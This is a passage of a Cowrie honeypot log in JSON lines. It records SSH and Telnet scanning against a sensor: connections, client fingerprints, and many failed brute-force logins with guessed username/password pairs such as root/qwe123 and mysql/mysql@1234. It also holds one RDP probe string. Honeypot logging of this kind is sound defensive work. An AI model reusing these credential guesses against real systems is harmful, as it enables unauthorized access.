0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.232326Z","src_ip":"192.109.200.237","session":"7c1af9d1db4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.349739Z","src_ip":"103.183.114.55","session":"c2130266e041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.506533Z","src_ip":"192.109.200.237","session":"7c1af9d1db4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:19.900424Z","src_ip":"192.169.243.246","session":"25b5c7ec3165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:20.591087Z","src_ip":"192.109.200.237","session":"7c1af9d1db4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51416,"dst_ip":"159.203.135.109","dst_port":22,"session":"613499a574fe","protocol":"ssh","message":"New connection: 192.109.200.237:51416 (159.203.135.109:22) [session: 613499a574fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:22.522276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:22.527440Z","src_ip":"192.109.200.237","session":"613499a574fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:22.610731Z","src_ip":"192.109.200.237","session":"613499a574fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:22.858374Z","src_ip":"192.109.200.237","session":"613499a574fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61253,"dst_ip":"10.17.0.5","dst_port":22,"session":"15dbeebb0008","protocol":"ssh","message":"New connection: 152.42.212.128:61253 (10.17.0.5:22) [session: 15dbeebb0008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:23.671507Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:23.676124Z","src_ip":"152.42.212.128","session":"15dbeebb0008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:23.680125Z","src_ip":"152.42.212.128","session":"15dbeebb0008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:23.944417Z","src_ip":"192.109.200.237","session":"613499a574fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43640,"dst_ip":"10.17.0.5","dst_port":23,"session":"64454c12f1e7","protocol":"telnet","message":"New connection: 152.42.224.71:43640 (10.17.0.5:23) [session: 64454c12f1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:24.009367Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51438,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bfba2786041","protocol":"ssh","message":"New connection: 192.109.200.237:51438 (159.203.135.109:22) [session: 8bfba2786041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:25.834696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:25.842369Z","src_ip":"192.109.200.237","session":"8bfba2786041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:25.925750Z","src_ip":"192.109.200.237","session":"8bfba2786041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:26.171857Z","src_ip":"192.109.200.237","session":"8bfba2786041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:27.258652Z","src_ip":"192.109.200.237","session":"8bfba2786041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d41e993281","protocol":"ssh","message":"New connection: 192.109.200.237:51468 (159.203.135.109:22) [session: d9d41e993281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:29.075891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:29.080496Z","src_ip":"192.109.200.237","session":"d9d41e993281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:29.161928Z","src_ip":"192.109.200.237","session":"d9d41e993281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql@1234","message":"login attempt [mysql/mysql@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:29.529566Z","src_ip":"192.109.200.237","session":"d9d41e993281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:30.615238Z","src_ip":"192.109.200.237","session":"d9d41e993281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9bb4167506","protocol":"ssh","message":"New connection: 147.45.199.80:54788 (10.17.0.5:22) [session: 1b9bb4167506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.047223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.052024Z","src_ip":"147.45.199.80","session":"1b9bb4167506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.150500Z","src_ip":"147.45.199.80","session":"1b9bb4167506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveless","message":"login attempt [root/loveless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.445958Z","src_ip":"147.45.199.80","session":"1b9bb4167506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58276,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b1a28aec61e","protocol":"ssh","message":"New connection: 192.109.200.237:58276 (159.203.135.109:22) [session: 6b1a28aec61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.550274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.555725Z","src_ip":"192.109.200.237","session":"6b1a28aec61e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.638071Z","src_ip":"192.109.200.237","session":"6b1a28aec61e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:32.884961Z","src_ip":"192.109.200.237","session":"6b1a28aec61e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:33.547940Z","src_ip":"147.45.199.80","session":"1b9bb4167506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:33.969281Z","src_ip":"192.109.200.237","session":"6b1a28aec61e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c43ccf99c18f","protocol":"ssh","message":"New connection: 192.109.200.237:58278 (159.203.135.109:22) [session: c43ccf99c18f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:35.847659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:35.852771Z","src_ip":"192.109.200.237","session":"c43ccf99c18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58036,"dst_ip":"10.17.0.5","dst_port":23,"session":"491f4119a82f","protocol":"telnet","message":"New connection: 152.42.224.71:58036 (10.17.0.5:23) [session: 491f4119a82f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:35.924355Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:36.000869Z","src_ip":"192.109.200.237","session":"c43ccf99c18f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:36.249364Z","src_ip":"192.109.200.237","session":"c43ccf99c18f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:37.336942Z","src_ip":"192.109.200.237","session":"c43ccf99c18f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":60546,"dst_ip":"159.203.135.109","dst_port":23,"session":"d51b42473d17","protocol":"telnet","message":"New connection: 209.127.178.212:60546 (159.203.135.109:23) [session: d51b42473d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:38.941534Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58288,"dst_ip":"159.203.135.109","dst_port":22,"session":"51541d2134e8","protocol":"ssh","message":"New connection: 192.109.200.237:58288 (159.203.135.109:22) [session: 51541d2134e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:39.221533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:39.227044Z","src_ip":"192.109.200.237","session":"51541d2134e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:39.310095Z","src_ip":"192.109.200.237","session":"51541d2134e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:39.558933Z","src_ip":"192.109.200.237","session":"51541d2134e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:40.644796Z","src_ip":"192.109.200.237","session":"51541d2134e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54496,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc17a7c5f192","protocol":"ssh","message":"New connection: 192.109.200.237:54496 (159.203.135.109:22) [session: bc17a7c5f192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:42.746278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:08:42.753669Z","src_ip":"192.109.200.237","session":"bc17a7c5f192","protocol":"ssh"}
